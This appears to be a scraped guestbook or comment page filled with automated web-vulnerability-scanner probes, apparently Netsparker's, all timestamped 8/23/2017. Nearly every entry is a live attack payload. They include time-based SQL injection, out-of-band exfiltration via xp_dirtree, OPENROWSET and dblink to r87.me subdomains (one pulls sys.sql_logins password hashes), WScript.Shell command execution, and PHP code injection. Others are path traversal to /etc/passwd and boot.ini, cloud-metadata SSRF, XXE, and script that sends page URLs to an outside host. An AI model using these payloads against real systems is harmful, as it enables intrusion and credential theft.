<%createobject("WScript.Shell").exec("nslookup o010_rdnxuyjy44sbbwebomdllwwf7fw4vkyxjs-" & "y9m.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ //r87.com/?0x003F84 +

+
+

1);SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

N3TSP4RKE2

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd +

+
+

nxtspxrkex

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ [ns](javascript:netsparker(0x003F5C);) +

+
+

Smith

+

+ 8/23/2017 8:08:38 AM +

+

+ NSFTW +

+
+

n3tsp4rke2

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ /etc/passwd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ '"@--> +

+
+

SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuto2k0fjezhd6ruyabepqc45o-vpngt" & "ano.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuwexbwswn8pfbf1bvusjtypxuvm3jjl" & "8u8.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

1;SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuk1vfgf_nxm1mrxeiqxvvlf3himsg8s" & "jba.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxu_9gkrgwih7dhflofu_eqqvydzpjavl" & "cpq.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

1';SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ /../../../../../../../../../../../etc/passwd +

+
+

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ SELECT dblink_connect('host=o010_rdnxuwc_kfykszf75db_ax6zbbyyoxdg8k_'||'qzk.r87.me user=a password=a connect_timeout=2') +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//etc/passwd +

+
+

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:36 AM +

+

+ (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL) +

+
+

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝.aspx +

+
+

((select sleep(25)))a-- 1

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxu8b6_xkwdsrwt4gwl_lkdsxuuc1f9k4'+'czi.r87.me')exec sp_executesql @r-- +

+
+

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ http://127.0.0.1:3306 +

+
+

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxup6v2xrho-agsnpydygm_pkesjulnnp'+'wma.r87.me')exec sp_executesql @r-- +

+
+

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ http://127.100.11.2:22 +

+
+

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxupbv1t36dv7tzzeox9rl8zugpbd_mhj'+'wko.r87.me')exec sp_executesql @r +

+
+

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxugi6fcmdl7tqijcg_dhzstdxi0av1ls'+'i54.r87.me'+'\c$\a''')-- +

+
+

Smith

+

+ 8/23/2017 8:08:33 AM +

+

+ '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||' +

+
+

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ 1'))exec('xp_dirtree ''\\o010_rdnxutwemwyt9d1nwv6740sq_xpfpkgi9qq'+'jui.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1))exec('xp_dirtree ''\\o010_rdnxuvyahvsvdwvwnhpev-1y_jzea_erche'+'iua.r87.me'+'\c$\a''')-- +

+
+

1)) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1')exec('xp_dirtree ''\\o010_rdnxunqbmffb-v8f3qumhlvjx32pp5yrf1j'+'s0u.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ 1) exec('xp_dirtree ''\\o010_rdnxuiryit2trwhl00odqhbsyhzffkd3jbb'+'sbi.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ -1';exec('xp_dirtree ''\\o010_rdnxugw6rfhxz5aklh2une_slh02ob6by0q'+'kok.r87.me'+'\c$\a''')-- +

+
+

')) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ 1;exec('xp_dirtree ''\\o010_rdnxu9adc8rk7jnup44n1jz6tpljawvlts2'+'uee.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxukhfwqkeuv058gewixgfypu745a1f_z'+'cxg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''') +

+
+

Smith

+

+ 8/23/2017 8:08:29 AM +

+

+ cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ exec('xp_dirtree ''\\o010_rdnxu533uyql6ntyanq9todluufh1ih9cb9'+'_n4.r87.me'+'\c$\a''') +

+
+

') WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ http://169.254.169.254/latest/meta-data/public-hostname +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxuywsew0o5sjgi6iwpqxtdyqacxk0uvs" & "j3o.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97))) +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxucn-4s_krnq45mumreo6wjmjklrp5no" & "o20.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝ +

+
+

'{${gethostbyname(trim('o010_rdnxudsglo9yfepaqhhpgycqeqivxc0wuki'.'2n8.r87.me'))}}'

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ http://aws.r87.me/latest/meta-data/public-hostname +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ file:///etc/passwd +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ -1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+" +

+
+

'{${gethostbyname(trim('o010_rdnxublor8upun3x2iw3evqvbn_qgddb61-'.'_ku.r87.me'))}}'

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

1) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ /../../../../../../../../../../../etc/passwd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:27 AM +

+

+ -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ /../../../../../../../../../../proc/versionďż˝.aspx +

+
+

WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:26 AM +

+

+ -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

+

+ 8/23/2017 8:08:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:26 AM +

+

+ 127.0.0.1/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../proc/version +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ ::1/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:25 AM +

+

+ 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'=' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ '+netsparker(0x003E56)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:25 AM +

+

+ /../../../../../../../../../../var/log/apache/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E54); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ /../../../../../../../../../../var/log/apache2/error.log +

+
+

1 WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:24 AM +

+

+ convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ netsparker(0x003E52) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ /../../../../../../../../../../etc/httpd/logs/error_log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:24 AM +

+

+ 127.100.11.2/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ '+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +' +

+
+

"+gethostbyname(trim('o010_rdnxuzq7qo7pydxgmnhzse_kgjmgziils9m'.'jwe.r87.me'))+"

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

' WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:23 AM +

+

+ 54.204.37.212/elmah +

+
+

Smith

+

+ 8/23/2017 8:08:23 AM +

+

+ (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +

+
+

"+gethostbyname(trim('o010_rdnxufondmf8mxmraqqbef599semzo1qzka'.'hew.r87.me'))+"

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ testsparker.com/elmah +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ /../../../../../../../../../../etc/httpd/logs/error.log +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:22 AM +

+

+ %27 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:22 AM +

+

+ http://testsparker.com/elmah +

+
+

'+gethostbyname(trim('o010_rdnxujk-xulmgbzrj_8wlm6jihs9v8v3gmv'.'isu.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuauehqbdj08dzofhtepdxmdqqsesxlz"+"itg.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxufmfledms0tqb-1uyw_vpf6mzacya_v"+"nwu.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

'+gethostbyname(trim('o010_rdnxubc6b3rfauci7bvah5bijza6nghslqx'.'vu8.r87.me'))+'

+

+ 8/23/2017 8:08:21 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ 127.0.0.1/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:21 AM +

+

+ /../../../../../../../../../../proc/self/fd/2ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ ',netsparker(0x003E50),' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ /../../../../../../../../../../proc/self/fd/2 +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:20 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ OR X='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ /../../../../../../../../../../windows/iis6.log +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:19 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ AND 'NS='ss +

+
+

+gethostbyname(trim('o010_rdnxuwhgl88bi8g4kouzjeccvmq-c0vskuw'.'kzu.r87.me'));//

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:18 AM +

+

+ NS +NO +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:17 AM +

+

+ +

+
+

+gethostbyname(trim('o010_rdnxuq74jc83y023k8avv9_bl50c1ox1rkp'.'bq0.r87.me'));//

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ ' +

+
+

gethostbyname(trim('o010_rdnxuhsrkq3ylfvsy-ievxuw1rbhe6y0sjd'.'atu.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ ::1/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxuhny73xk8qwgshpfn2klqe8-mfu5cih'.'1kw.r87.me'));

+

+ 8/23/2017 8:08:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:16 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:16 AM +

+

+ 127.100.11.2/elmah.axd +

+
+

gethostbyname(trim('o010_rdnxutmd8812f0gy5djglocblsppudzq9yx'.'pc4.r87.me'))

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//windows\win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ \';netsparker(0x003E4E);/// +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:15 AM +

+

+ c:\windows\win.ini +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxunuigphpvvkn4amt0hw11kzg3aicg9t"+"lty.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ "+netsparker(0x003E4C)+" +

+
+

gethostbyname(trim('o010_rdnxurnl-hzwr_abbig3zxzlxbszllhgf7j'.'xqk.r87.me'))

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ /../../../../../../../../../../windows/win.iniďż˝.aspx +

+
+

";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxucoe5clqmxxmeebhuyv-ug5nzsrd-hh"+"dhq.r87.me/r/?"+location.href;document.head.appendChild(l);//

+

+ 8/23/2017 8:08:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:14 AM +

+

+ file:/windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ '+netsparker(0x003E4A)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ 54.204.37.212/elmah.axd +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ /../../../../../../../../../../windows/win.ini +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:13 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:13 AM +

+

+ o010_rdnxurtuqnedkm7atmvcpmyua8haywhucwdoyx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ testsparker.com/elmah.axd +

+
+

+

+ 8/23/2017 8:08:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ /../../../../../../../../../../web.config +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ OR X='ss +

+
+

Smith

+

+ 8/23/2017 8:08:12 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ */netsparker(0x003E48);/* +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ http://testsparker.com/elmah.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:12 AM +

+

+ c%3a%5cboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ AND 'NS='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ file%3a%2fboot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:11 AM +

+

+ body{x:expression(netsparker(0x003E46))} +

+
+

Smith

+

+ 8/23/2017 8:08:11 AM +

+

+ NS +NO +

+
+

+

+ 8/23/2017 8:08:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ n;ns:expression(netsparker(0x003E44)); +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ php://filter//resource=http://o010_rdnxu9kdfepoeiwpxwju9dydxwr8og6j5kehfb.r87.me/p/ +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ 1 OR 1=1 +

+
+

Smith

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ http://o010_rdnxu8r3qe8x1xwizm6w-a2it_y4nacd-oftvx.r87.me/p/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ 127.0.0.1/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:09 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ <%a style=x:expre/**/ssion(netsparker(0x003E42))> +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

o010_rdnxua8t29ijj5lcsqcl7xpweyk2i6ljvp96in.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ ::1/trace.axd +

+
+

o010_rdnxu6tcixy-avunkhsze-67jxpjgkl4jksqxh.r87.me/p/

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ ns../../../../../../../../../../../boot.ini....................................................................................................................................................................................... +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

php://filter//resource=http://o010_rdnxuu2ie2xhes7eeg9zgowwk3o0idqxj6kon9.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ javascript:netsparker(0x003E3E) +

+
+

php://filter//resource=http://o010_rdnxufbfzmvyntutgafdsxhw5gr1uxox5yeqjz.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ c:\boot.ini +

+
+

http://o010_rdnxum5-4l2p9tvdmecwn6htpm4dqeunruu3az.r87.me/p/

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:06 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://o010_rdnxu_3dmwrd8xvoyshzzkya2kvt_ls1wahl3f.r87.me/p/

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:05 AM +

+

+ file:/boot.ini +

+
+

Smith

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:05 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ %dtd;]>&a; +

+
+

Smith

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ 127.100.11.2/trace.axd +

+
+

Smith

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ %dtd;]>&a; +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ /../../../../../../../../../../boot.iniďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

